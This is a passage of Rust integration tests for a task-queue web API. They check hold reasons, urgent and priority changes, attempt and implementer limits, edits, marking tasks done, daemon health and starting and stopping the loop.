14848            )
14849            .await;
14850        assert_eq!(held.status, 200, "{}", held.body);
14851        assert_eq!(held.json()["status_str"], "held");
14852        assert_eq!(
14853            held.json()["hold_reason"],
14854            "waiting for 20260101-000000-aaaa to land"
14855        );
14856
14857        let listed = f.get("/api/queue").await.json();
14858        assert_eq!(
14859            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
14860            "the card reads the reason off the same list route"
14861        );
14862
14863        // A hold with no body at all must keep working - most holds have no
14864        // reason to give.
14865        let mut plain = Task::new(
14866            "no reason given".to_owned(),
14867            "Do another thing".to_owned(),
14868            PathBuf::from("/repo/magi"),
14869            Source::Human,
14870        );
14871        queue.put(&mut plain).expect("file the task");
14872        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
14873        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
14874        assert!(held_plain.json()["hold_reason"].is_null());
14875
14876        let released = f
14877            .post(&format!("/api/queue/{}/release", task.id), None)
14878            .await;
14879        assert_eq!(released.status, 200);
14880        assert!(
14881            released.json()["hold_reason"].is_null(),
14882            "a release must clear the reason so the next hold does not inherit it"
14883        );
14884    }
14885
14886    #[test]
14887    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
14888        for urgent in [true, false] {
14889            let body: UrgentBody =
14890                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
14891            assert_eq!(body.urgent, urgent);
14892        }
14893        for input in [
14894            r#"{}"#,
14895            r#"{"urgent":null}"#,
14896            r#"{"urgent":"true"}"#,
14897            r#"{"urgent":1}"#,
14898            r#"{"urgent":true,"extra":false}"#,
14899        ] {
14900            assert!(
14901                serde_json::from_str::<UrgentBody>(input).is_err(),
14902                "{input}"
14903            );
14904        }
14905    }
14906
14907    #[tokio::test]
14908    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
14909        let home = TempDir::new().unwrap();
14910        let q = Queue::at(home.path().join("queue"));
14911        let ui = Arc::new(Ui::new(
14912            q.clone(),
14913            Questions::at(home.path().join("questions")),
14914            Talks::at(home.path().join("talks")),
14915            home.path().join("runs"),
14916            home.path().into(),
14917            home.path().into(),
14918        ));
14919        let mut task = Task::new(
14920            "urgent handler".into(),
14921            "keep".into(),
14922            home.path().into(),
14923            Source::Human,
14924        );
14925        for status in [TaskStatus::Queued, TaskStatus::Held] {
14926            task.status = status;
14927            q.put(&mut task).unwrap();
14928            for urgent in [true, true, false, false] {
14929                let saved = queue_urgent(
14930                    State(Arc::clone(&ui)),
14931                    Path(task.short().into()),
14932                    Ok(Json(UrgentBody { urgent })),
14933                )
14934                .await
14935                .unwrap();
14936                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
14937                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
14938            }
14939        }
14940        task.status = TaskStatus::Queued;
14941        q.put(&mut task).unwrap();
14942        let claim = q.claim(&task.id).unwrap();
14943        let error = queue_urgent(
14944            State(Arc::clone(&ui)),
14945            Path(task.id.clone()),
14946            Ok(Json(UrgentBody { urgent: true })),
14947        )
14948        .await
14949        .unwrap_err();
14950        assert_eq!(error.status, StatusCode::CONFLICT);
14951        assert!(error.message.contains("released"));
14952        drop(claim);
14953        for status in [
14954            TaskStatus::Running,
14955            TaskStatus::Done,
14956            TaskStatus::Failed,
14957            TaskStatus::Blocked,
14958            TaskStatus::Parked,
14959        ] {
14960            task.status = status;
14961            q.put(&mut task).unwrap();
14962            let error = queue_urgent(
14963                State(Arc::clone(&ui)),
14964                Path(task.id.clone()),
14965                Ok(Json(UrgentBody { urgent: false })),
14966            )
14967            .await
14968            .unwrap_err();
14969            assert_eq!(error.status, StatusCode::BAD_REQUEST);
14970            assert!(error.message.contains(status.as_str()));
14971        }
14972    }
14973
14974    #[tokio::test]
14975    async fn urgent_api_updates_preserves_and_validates_tasks() {
14976        let f = Fixture::start().await;
14977        let q = f.queue();
14978        let mut t = Task::new(
14979            "urgent API".into(),
14980            "unchanged".into(),
14981            PathBuf::from("/repo/magi"),
14982            Source::Human,
14983        );
14984        t.attempts = 2;
14985        t.priority = 9;
14986        t.interrupt = true;
14987        t.hold_reason = Some("waiting for approval".into());
14988        for status in [TaskStatus::Queued, TaskStatus::Held] {
14989            t.status = status;
14990            q.put(&mut t).unwrap();
14991            for urgent in [true, true, false, false] {
14992                let response = f
14993                    .post(
14994                        &format!("/api/queue/{}/urgent", t.short()),
14995                        Some(&format!("{{\"urgent\":{urgent}}}")),
14996                    )
14997                    .await;
14998                assert_eq!(response.status, 200, "{}", response.body);
14999                assert_eq!(response.json()["urgent"], urgent);
15000                let saved = q.get(&t.id).unwrap();
15001                let mut before = serde_json::to_value(&t).unwrap();
15002                let mut after = serde_json::to_value(saved).unwrap();
15003                before["urgent"] = urgent.into();
15004                before.as_object_mut().unwrap().remove("updated_at");
15005                after.as_object_mut().unwrap().remove("updated_at");
15006                assert_eq!(after, before);
15007            }
15008        }
15009        let route = format!("/api/queue/{}/urgent", t.id);
15010        for body in [
15011            r#"{}"#,
15012            r#"{"urgent":null}"#,
15013            r#"{"urgent":"true"}"#,
15014            r#"{"urgent":1}"#,
15015            r#"{"urgent":true,"extra":false}"#,
15016            "{",
15017        ] {
15018            assert_eq!(f.post(&route, Some(body)).await.status, 400);
15019        }
15020        t.status = TaskStatus::Queued;
15021        q.put(&mut t).unwrap();
15022        let claim = q.claim(&t.id).unwrap();
15023        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
15024        assert_eq!(response.status, 409, "{}", response.body);
15025        assert!(!q.get(&t.id).unwrap().urgent);
15026        drop(claim);
15027        for status in [
15028            TaskStatus::Running,
15029            TaskStatus::Done,
15030            TaskStatus::Failed,
15031            TaskStatus::Blocked,
15032            TaskStatus::Parked,
15033        ] {
15034            t.status = status;
15035            q.put(&mut t).unwrap();
15036            for urgent in [true, false] {
15037                let response = f
15038                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
15039                    .await;
15040                assert_eq!(response.status, 400, "{}", response.body);
15041                assert!(response.body.contains(status.as_str()));
15042                assert!(response.body.contains("queued or held"));
15043                assert!(!q.get(&t.id).unwrap().urgent);
15044            }
15045        }
15046        assert_eq!(
15047            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
15048                .await
15049                .status,
15050            404
15051        );
15052    }
15053
15054    #[tokio::test]
15055    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
15056        let f = Fixture::start().await;
15057        let queue = f.queue();
15058        let mut older = Task::new(
15059            "filed first".to_owned(),
15060            "x".to_owned(),
15061            PathBuf::from("/repo/magi"),
15062            Source::Human,
15063        );
15064        older.id = "20260101-000001-aaaa".to_owned();
15065        let mut newer = Task::new(
15066            "filed second".to_owned(),
15067            "x".to_owned(),
15068            PathBuf::from("/repo/magi"),
15069            Source::Human,
15070        );
15071        newer.id = "20260101-000002-bbbb".to_owned();
15072        queue.put(&mut older).expect("file older");
15073        queue.put(&mut newer).expect("file newer");
15074
15075        // Equal priority: the newer task leads, the same order the old
15076        // newest-first `list()` already gave every equal-priority queue.
15077        let before = f.get("/api/queue").await.json();
15078        assert_eq!(before[0]["id"], newer.id);
15079        assert_eq!(before[1]["id"], older.id);
15080
15081        // Raising the *older* task is the meaningful case: it can only lead
15082        // now because its priority says so, not because it happens to be
15083        // newest.
15084        let raised = f
15085            .post(
15086                &format!("/api/queue/{}/priority", older.id),
15087                Some(r#"{"priority":10}"#),
15088            )
15089            .await;
15090        assert_eq!(raised.status, 200, "{}", raised.body);
15091        assert_eq!(raised.json()["priority"], 10);
15092
15093        let after = f.get("/api/queue").await.json();
15094        let names: Vec<&str> = after
15095            .as_array()
15096            .unwrap()
15097            .iter()
15098            .map(|t| t["id"].as_str().unwrap())
15099            .collect();
15100        // Highest priority first, which is the order next_runnable and
15101        // `magi task list` both use - GET /api/queue must agree with it
15102        // immediately, not just once the loop claims the task.
15103        assert_eq!(names[0], older.id, "the raised task now sorts first");
15104    }
15105
15106    #[tokio::test]
15107    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
15108        let dir = TempDir::new().unwrap();
15109        let q = Queue::at(dir.path().join("queue"));
15110        let ui = Arc::new(Ui::new(
15111            q.clone(),
15112            Questions::at(dir.path().join("questions")),
15113            Talks::at(dir.path().join("talks")),
15114            dir.path().join("runs"),
15115            dir.path().to_path_buf(),
15116            dir.path().to_path_buf(),
15117        ));
15118        let mut t = Task::new(
15119            "budget".into(),
15120            "keep".into(),
15121            dir.path().into(),
15122            Source::Human,
15123        );
15124        t.attempts = 2;
15125        t.runs.push("prior-run".into());
15126        t.hold_manual(Some("waiting".into()));
15127        q.put(&mut t).unwrap();
15128        let change = |value| {
15129            queue_attempt_limit(
15130                State(ui.clone()),
15131                Path(t.id.clone()),
15132                Ok(Json(AttemptLimitBody {
15133                    attempt_limit: value,
15134                })),
15135            )
15136        };
15137        for value in [
15138            serde_json::json!(3),
15139            serde_json::Value::Null,
15140            serde_json::json!(1),
15141        ] {
15142            let response = change(value.clone()).await.unwrap();
15143            assert_eq!(
15144                serde_json::to_value(response.0).unwrap()["attempt_limit"],
15145                value
15146            );
15147            let saved = q.get(&t.id).unwrap();
15148            assert_eq!(
15149                serde_json::to_value(&saved).unwrap()["attempt_limit"],
15150                value
15151            );
15152            assert_eq!(saved.status, TaskStatus::Held);
15153            assert_eq!(saved.attempts, t.attempts);
15154            assert_eq!(saved.runs, t.runs);
15155            assert_eq!(saved.hold_reason, t.hold_reason);
15156            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
15157                .await
15158                .unwrap()
15159                .0;
15160            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
15161            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
15162            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
15163            assert_eq!(outcome.max_attempts, detail.max_attempts);
15164        }
15165        for value in [
15166            serde_json::json!(0),
15167            serde_json::json!(-1),
15168            serde_json::json!(1.5),
15169            serde_json::json!("3"),
15170            serde_json::json!(true),
15171        ] {
15172            assert_eq!(
15173                change(value).await.err().unwrap().status,
15174                StatusCode::BAD_REQUEST
15175            );
15176        }
15177        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
15178        let claim = q.claim(&t.id).unwrap();
15179        assert_eq!(
15180            change(serde_json::json!(4)).await.err().unwrap().status,
15181            StatusCode::CONFLICT
15182        );
15183        drop(claim);
15184        for status in [
15185            TaskStatus::Running,
15186            TaskStatus::Done,
15187            TaskStatus::Failed,
15188            TaskStatus::Blocked,
15189            TaskStatus::Parked,
15190        ] {
15191            let mut stored = q.get(&t.id).unwrap();
15192            stored.status = status;
15193            q.put(&mut stored).unwrap();
15194            assert_eq!(
15195                change(serde_json::json!(4)).await.err().unwrap().status,
15196                StatusCode::BAD_REQUEST
15197            );
15198            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
15199        }
15200        let mut stored = q.get(&t.id).unwrap();
15201        stored.status = TaskStatus::Queued;
15202        q.put(&mut stored).unwrap();
15203        let _ = change(serde_json::Value::Null).await.unwrap();
15204        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
15205    }
15206
15207    #[tokio::test]
15208    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
15209        let dir = TempDir::new().unwrap();
15210        let repo = dir.path().join("repo");
15211        std::fs::create_dir(&repo).unwrap();
15212        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
15213        let q = Queue::at(dir.path().join("queue"));
15214        let ui = Arc::new(Ui::new(
15215            q.clone(),
15216            Questions::at(dir.path().join("questions")),
15217            Talks::at(dir.path().join("talks")),
15218            dir.path().join("runs"),
15219            dir.path().to_path_buf(),
15220            repo.clone(),
15221        ));
15222        let mut t = Task::new(
15223            "seats".into(),
15224            "keep instruction".into(),
15225            repo,
15226            Source::Human,
15227        );
15228        t.runs.push("prior-run".into());
15229        t.hold_manual(Some("waiting".into()));
15230        q.put(&mut t).unwrap();
15231        let change = |count| {
15232            queue_implementers(
15233                State(ui.clone()),
15234                Path(t.id.clone()),
15235                Ok(Json(ImplementersBody {
15236                    implementers: count,
15237                })),
15238            )
15239        };
15240        for count in [2, 1, 2] {
15241            let response = change(count).await.unwrap();
15242            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
15243            let saved = q.get(&t.id).unwrap();
15244            assert_eq!(saved.implementers(), Some(usize::from(count)));
15245            assert_eq!(saved.runs, t.runs);
15246            assert_eq!(saved.instruction, t.instruction);
15247        }
15248        for count in [0, 4] {
15249            assert_eq!(
15250                change(count).await.err().unwrap().status,
15251                StatusCode::BAD_REQUEST
15252            );
15253        }
15254        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
15255        let claim = q.claim(&t.id).unwrap();
15256        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
15257        drop(claim);
15258        for status in [
15259            TaskStatus::Running,
15260            TaskStatus::Done,
15261            TaskStatus::Failed,
15262            TaskStatus::Blocked,
15263            TaskStatus::Parked,
15264        ] {
15265            let mut stored = q.get(&t.id).unwrap();
15266            stored.status = status;
15267            q.put(&mut stored).unwrap();
15268            assert_eq!(
15269                change(1).await.err().unwrap().status,
15270                StatusCode::BAD_REQUEST
15271            );
15272            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
15273        }
15274    }
15275
15276    #[tokio::test]
15277    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
15278        let f = Fixture::start().await;
15279        let queue = f.queue();
15280        let mut task = Task::new(
15281            "in flight".to_owned(),
15282            "x".to_owned(),
15283            PathBuf::from("/repo/magi"),
15284            Source::Human,
15285        );
15286        task.start("20260902-140502-bbbb".to_owned());
15287        queue.put(&mut task).expect("file the task");
15288
15289        let res = f
15290            .post(
15291                &format!("/api/queue/{}/priority", task.id),
15292                Some(r#"{"priority":9}"#),
15293            )
15294            .await;
15295        assert_eq!(res.status, 400, "{}", res.body);
15296        assert!(
15297            res.json()["error"]
15298                .as_str()
15299                .is_some_and(|e| e.contains("running")),
15300            "{}",
15301            res.body
15302        );
15303        assert_eq!(
15304            queue.get(&task.id).expect("reload").priority,
15305            0,
15306            "the refused write must not partially apply"
15307        );
15308    }
15309
15310    #[tokio::test]
15311    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
15312        let f = Fixture::start().await;
15313        let queue = f.queue();
15314        let mut task = Task::new(
15315            "old title".to_owned(),
15316            "old instruction".to_owned(),
15317            PathBuf::from("/repo/magi"),
15318            Source::Agent {
15319                run: "20260101-000000-beef".to_owned(),
15320                node: "implement".to_owned(),
15321            },
15322        );
15323        task.runs.push("20260101-000000-beef".to_owned());
15324        queue.put(&mut task).expect("file the task");
15325        let created_at = task.created_at;
15326
15327        let edited = f
15328            .post(
15329                &format!("/api/queue/{}/edit", task.id),
15330                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
15331            )
15332            .await;
15333        assert_eq!(edited.status, 200, "{}", edited.body);
15334        let body = edited.json();
15335        assert_eq!(body["title"], "new title");
15336        assert_eq!(body["instruction"], "new instruction");
15337        assert_eq!(body["id"], task.id, "editing must not mint a new id");
15338        assert_eq!(body["created_at"], created_at.to_string());
15339        assert_eq!(
15340            body["source"]["kind"], "agent",
15341            "editing a task an agent filed must not turn it human: {body}"
15342        );
15343        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
15344
15345        let reloaded = queue.get(&task.id).expect("reload");
15346        assert_eq!(reloaded.title, "new title");
15347        assert_eq!(reloaded.instruction, "new instruction");
15348    }
15349
15350    #[tokio::test]
15351    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
15352        // The judge is an agent now: a repo whose only agent answers
15353        // "duplicate" stands in for it, so the refusal is the judge's.
15354        let tmp = TempDir::new().expect("tempdir");
15355        let repo = tmp.path().join("repo");
15356        std::fs::create_dir_all(&repo).expect("repo dir");
15357        let judge = MOCK_AGENT_TOML.replace(
15358            "printf ok",
15359            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
15360        );
15361        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
15362        let f = Fixture::with_repo(repo.clone()).await;
15363        let queue = f.queue();
15364        let mut owner = Task::new(
15365            "owner".to_owned(),
15366            "review it".to_owned(),
15367            repo.clone(),
15368            Source::Human,
15369        );
15370        owner.review_branch = Some("magi/ab12/A".to_owned());
15371        queue.put(&mut owner).expect("file the owner");
15372        let mut task = Task::new(
15373            "draft".to_owned(),
15374            "old".to_owned(),
15375            repo.clone(),
15376            Source::Human,
15377        );
15378        queue.put(&mut task).expect("file the draft");
15379        let url = format!("/api/queue/{}/edit", task.id);
15380
15381        let refused = f
15382            .post(
15383                &url,
15384                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
15385            )
15386            .await;
15387        assert_eq!(refused.status, 409, "{}", refused.body);
15388        let msg = refused.json()["error"]
15389            .as_str()
15390            .unwrap_or_default()
15391            .to_owned();
15392        assert!(
15393            msg.contains("magi/ab12/A") && msg.contains("force"),
15394            "{msg}"
15395        );
15396        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
15397
15398        let forced = f
15399            .post(
15400                &url,
15401                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
15402            )
15403            .await;
15404        assert_eq!(forced.status, 200, "{}", forced.body);
15405    }
15406
15407    #[tokio::test]
15408    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
15409        let f = Fixture::start().await;
15410        let queue = f.queue();
15411        let mut task = Task::new(
15412            "in flight".to_owned(),
15413            "do not touch".to_owned(),
15414            PathBuf::from("/repo/magi"),
15415            Source::Human,
15416        );
15417        task.start("20260902-140502-bbbb".to_owned());
15418        queue.put(&mut task).expect("file the task");
15419
15420        let res = f
15421            .post(
15422                &format!("/api/queue/{}/edit", task.id),
15423                Some(r#"{"title":"x","instruction":"y"}"#),
15424            )
15425            .await;
15426        assert_eq!(res.status, 400, "{}", res.body);
15427        assert!(
15428            res.json()["error"]
15429                .as_str()
15430                .is_some_and(|e| e.contains("running")),
15431            "{}",
15432            res.body
15433        );
15434        assert_eq!(
15435            queue.get(&task.id).expect("reload").instruction,
15436            "do not touch",
15437            "the refused edit must not change the file"
15438        );
15439    }
15440
15441    #[tokio::test]
15442    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
15443        let f = Fixture::start().await;
15444        let queue = f.queue();
15445        let mut task = Task::new(
15446            "busy".to_owned(),
15447            "Running right now".to_owned(),
15448            PathBuf::from("/repo/magi"),
15449            Source::Human,
15450        );
15451        queue.put(&mut task).expect("file the task");
15452        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
15453
15454        let priority = f
15455            .post(
15456                &format!("/api/queue/{}/priority", task.id),
15457                Some(r#"{"priority":9}"#),
15458            )
15459            .await;
15460        assert_eq!(priority.status, 409, "{}", priority.body);
15461
15462        let edit = f
15463            .post(
15464                &format!("/api/queue/{}/edit", task.id),
15465                Some(r#"{"title":"x","instruction":"y"}"#),
15466            )
15467            .await;
15468        assert_eq!(edit.status, 409, "{}", edit.body);
15469    }
15470
15471    #[tokio::test]
15472    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
15473        let f = Fixture::start().await;
15474        let queue = f.queue();
15475        let mut task = Task::new(
15476            "shipped by hand".to_owned(),
15477            "merged outside the loop".to_owned(),
15478            PathBuf::from("/repo/magi"),
15479            Source::Agent {
15480                run: "20260101-000000-b455".to_owned(),
15481                node: "implement".to_owned(),
15482            },
15483        );
15484        task.runs.push("20260101-000000-b455".to_owned());
15485        task.runs.push("20260101-000000-9af4".to_owned());
15486        queue.put(&mut task).expect("file the task");
15487        let created_at = task.created_at;
15488
15489        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15490        assert_eq!(done.status, 200, "{}", done.body);
15491        assert_eq!(done.json()["status_str"], "done");
15492
15493        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
15494        assert_eq!(
15495            reloaded.runs,
15496            ["20260101-000000-b455", "20260101-000000-9af4"]
15497        );
15498        assert_eq!(
15499            reloaded.source,
15500            Source::Agent {
15501                run: "20260101-000000-b455".to_owned(),
15502                node: "implement".to_owned(),
15503            }
15504        );
15505        assert_eq!(reloaded.created_at, created_at);
15506    }
15507
15508    #[tokio::test]
15509    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
15510        // `done` is allowed on any status, including `held`, with no release
15511        // in between - so a task held for a reason and then closed directly
15512        // must not keep reading as "waiting on" it afterwards, on its card or
15513        // in `magi task show`.
15514        let f = Fixture::start().await;
15515        let queue = f.queue();
15516        let mut task = Task::new(
15517            "landed while held".to_owned(),
15518            "x".to_owned(),
15519            PathBuf::from("/repo/magi"),
15520            Source::Human,
15521        );
15522        task.hold_manual(Some("waiting on 3ed9".to_owned()));
15523        queue.put(&mut task).expect("file the held task");
15524
15525        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15526        assert_eq!(done.status, 200, "{}", done.body);
15527        assert_eq!(done.json()["status_str"], "done");
15528        assert!(
15529            done.json()["hold_reason"].is_null(),
15530            "a done task cannot still be waiting on something: {}",
15531            done.body
15532        );
15533    }
15534
15535    #[tokio::test]
15536    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
15537        // `queue_done` is the phone's way to close a task the loop never
15538        // settled itself - after confirming a manual GitHub merge, say - and
15539        // that is just as much "this task's story is over" as the loop's own
15540        // `Merged`/`Ready` path, so it must trigger the same cleanup.
15541        let f = Fixture::start().await;
15542        let queue = f.queue();
15543        let runs = f.runs();
15544        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
15545        // The last attempt has to have actually landed for the earlier one
15546        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
15547        // for the case where it didn't.
15548        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
15549
15550        let mut task = Task::new(
15551            "landed by hand".to_owned(),
15552            "x".to_owned(),
15553            PathBuf::from("/repo/magi"),
15554            Source::Human,
15555        );
15556        task.runs.push("20260101-000000-doa1".to_owned());
15557        task.runs.push("20260101-000000-doa2".to_owned());
15558        queue.put(&mut task).expect("file the task");
15559
15560        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15561        assert_eq!(done.status, 200, "{}", done.body);
15562
15563        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
15564            .expect("run still on disk under this fixture's own home");
15565        assert_eq!(
15566            reloaded_run.status,
15567            RunStatus::Superseded,
15568            "closing the task by hand must relabel the earlier blocked attempt exactly \
15569             like the loop's own settle path does"
15570        );
15571    }
15572
15573    #[tokio::test]
15574    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
15575        // Closing a task by hand is allowed from any status, including one
15576        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
15577        // manual merge the loop never watched, say. Nothing here is provably
15578        // why the task is done, so nothing earlier gets relabelled either.
15579        let f = Fixture::start().await;
15580        let queue = f.queue();
15581        let runs = f.runs();
15582        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
15583        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
15584
15585        let mut task = Task::new(
15586            "closed with nothing actually landed".to_owned(),
15587            "x".to_owned(),
15588            PathBuf::from("/repo/magi"),
15589            Source::Human,
15590        );
15591        task.runs.push("20260101-000000-dob1".to_owned());
15592        task.runs.push("20260101-000000-dob2".to_owned());
15593        queue.put(&mut task).expect("file the task");
15594
15595        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15596        assert_eq!(done.status, 200, "{}", done.body);
15597
15598        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
15599            .expect("run still on disk under this fixture's own home");
15600        assert_eq!(
15601            reloaded_run.status,
15602            RunStatus::Blocked,
15603            "the last recorded attempt never landed, so the earlier one must not be \
15604             relabelled as superseded by it"
15605        );
15606    }
15607
15608    #[tokio::test]
15609    async fn unknown_ids_are_json_not_found_on_both_stores() {
15610        let f = Fixture::start().await;
15611
15612        let run = f.get("/api/runs/nosuchrun").await;
15613        let task = f.post("/api/queue/nosuchtask/hold", None).await;
15614
15615        assert_eq!(run.status, 404);
15616        assert_eq!(task.status, 404);
15617        assert!(
15618            run.json()["error"]
15619                .as_str()
15620                .is_some_and(|e| e.contains("run")),
15621            "the error names what was not found: {}",
15622            run.body
15623        );
15624        assert!(
15625            task.json()["error"]
15626                .as_str()
15627                .is_some_and(|e| e.contains("task")),
15628            "the error names what was not found: {}",
15629            task.body
15630        );
15631    }
15632
15633    #[tokio::test]
15634    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
15635        let f = Fixture::start().await;
15636
15637        let missing = f.get("/api/health").await.json();
15638        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
15639
15640        write_daemon(
15641            f.home.path(),
15642            Timestamp::now() - jiff::SignedDuration::from_secs(60),
15643        );
15644        let stale = f.get("/api/health").await.json();
15645        assert_eq!(
15646            stale["daemon"]["running"], false,
15647            "a minute without a heartbeat is a dead daemon, not a busy one"
15648        );
15649        assert!(
15650            stale["daemon"]["stale_for_secs"]
15651                .as_i64()
15652                .is_some_and(|s| s >= 55),
15653            "staleness is reported so the UI can say how long: {stale}"
15654        );
15655
15656        write_daemon(f.home.path(), Timestamp::now());
15657        let fresh = f.get("/api/health").await.json();
15658        assert_eq!(fresh["daemon"]["running"], true);
15659        assert_eq!(fresh["daemon"]["idle"], false);
15660        assert_eq!(fresh["daemon"]["pid"], 4242);
15661        assert_eq!(fresh["daemon"]["completed"], 7);
15662        assert_eq!(
15663            fresh["daemon"]["current"][0]["task"],
15664            "20260902-140501-aaaa"
15665        );
15666        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
15667    }
15668
15669    #[tokio::test]
15670    async fn the_loop_is_not_running_until_something_starts_it() {
15671        let f = Fixture::start().await;
15672
15673        let view = f.get("/api/loop").await.json();
15674        assert_eq!(view["running"], false);
15675        assert_eq!(
15676            view["owned"], false,
15677            "nobody owns a loop that does not exist: {view}"
15678        );
15679        assert_eq!(view["stopping"], false);
15680        assert_eq!(view["last_error"], Value::Null);
15681        assert_eq!(view["daemon"]["running"], false);
15682        assert_eq!(
15683            view["repo"], "/repo/magi",
15684            "the repository a start would use, named before it is started"
15685        );
15686    }
15687
15688    #[tokio::test]
15689    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
15690        let f = Fixture::start().await;
15691
15692        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15693        assert_eq!(res.status, 200, "{}", res.body);
15694        let view = res.json();
15695        assert_eq!(view["running"], true);
15696        assert_eq!(
15697            view["owned"], true,
15698            "the loop the UI started is the UI's own to stop: {view}"
15699        );
15700        assert_eq!(
15701            view["merge"],
15702            Value::Null,
15703            "no override was given, so each repository's own config decides"
15704        );
15705
15706        // The same object from the route a waking phone polls first. Two
15707        // surfaces disagreeing about whether anything is running is exactly
15708        // the confusion this UI exists to remove.
15709        let health = f.get("/api/health").await.json();
15710        assert_eq!(health["loop"]["running"], true, "{health}");
15711        assert_eq!(health["loop"]["owned"], true, "{health}");
15712
15713        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15714    }
15715
15716    #[tokio::test]
15717    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
15718        let f = Fixture::start().await;
15719        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15720        assert_eq!(first.status, 200, "{}", first.body);
15721
15722        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15723        assert_eq!(
15724            again.status, 409,
15725            "two loops on one queue race for the same claims: {}",
15726            again.body
15727        );
15728        assert!(
15729            again.json()["error"]
15730                .as_str()
15731                .is_some_and(|e| e.contains("already running the loop")),
15732            "the refusal has to say why: {}",
15733            again.body
15734        );
15735        assert_eq!(
15736            f.get("/api/loop").await.json()["running"],
15737            true,
15738            "and the loop that was already running is untouched by it"
15739        );
15740
15741        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15742    }
15743
15744    #[tokio::test]
15745    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
15746        let f = Fixture::start().await;
15747        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15748
15749        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15750        assert_eq!(
15751            res.status, 200,
15752            "the answer must not wait for the loop: a run in flight is tens of \
15753             minutes and the operator is holding a phone: {}",
15754            res.body
15755        );
15756
15757        let view = settled(&f, |v| v["running"] == false).await;
15758        assert_eq!(view["owned"], false);
15759        assert_eq!(
15760            view["stopping"], false,
15761            "a loop that has stopped is not still stopping: {view}"
15762        );
15763        assert_eq!(
15764            view["last_error"],
15765            Value::Null,
15766            "a loop that was asked to stop did not fail: {view}"
15767        );
15768
15769        // Idempotent, because the operator cannot tell a slow stop from a lost
15770        // one and will press it again.
15771        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15772        assert_eq!(twice.status, 200, "{}", twice.body);
15773    }
15774
15775    #[tokio::test]
15776    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
15777        let f = Fixture::start().await;
15778        // How the operator has been doing it: a `magi serve` of their own,
15779        // heartbeat fresh, in the same home this UI reads.
15780        write_daemon(f.home.path(), Timestamp::now());
15781
15782        let view = f.get("/api/loop").await.json();
15783        assert_eq!(view["running"], false, "not in this process: {view}");
15784        assert_eq!(view["owned"], false, "and not this process's to control");
15785        assert_eq!(
15786            view["daemon"]["running"], true,
15787            "but a loop is alive somewhere, which is what the UI must say"
15788        );
15789        assert_eq!(view["daemon"]["pid"], 4242);
15790
